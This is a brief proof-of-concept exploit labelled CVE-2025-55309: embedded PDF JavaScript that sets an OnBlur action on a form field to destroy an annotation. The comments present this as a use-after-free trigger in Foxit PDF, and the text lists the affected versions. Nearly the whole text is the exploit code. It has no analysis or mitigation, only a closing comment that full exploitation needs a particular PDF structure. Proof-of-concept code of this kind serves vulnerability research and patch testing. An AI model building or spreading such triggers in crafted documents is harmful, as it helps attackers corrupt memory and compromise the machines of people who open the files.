CVE-2025-55309

function triggerUAF() { // Get all annotations var annots = this.getAnnots(); if (annots && annots.length > 0) { // Set OnBlur event on first form field var field = this.getField("targetField"); if (field) { field.setAction("OnBlur", "annotDestroy();"); } } } function annotDestroy() { // Destroy the annotation object var annots = this.getAnnots(); if (annots && annots.length > 0) { annots[0].destroy(); // This triggers UAF when focus changes } } // Initialize the exploit triggerUAF(); // Note: This PoC demonstrates the vulnerability mechanism. // The actual exploitation requires specific PDF structure and interaction. // Affected versions: Foxit PDF < 13.2, Foxit PDF 2025 < 2025.2
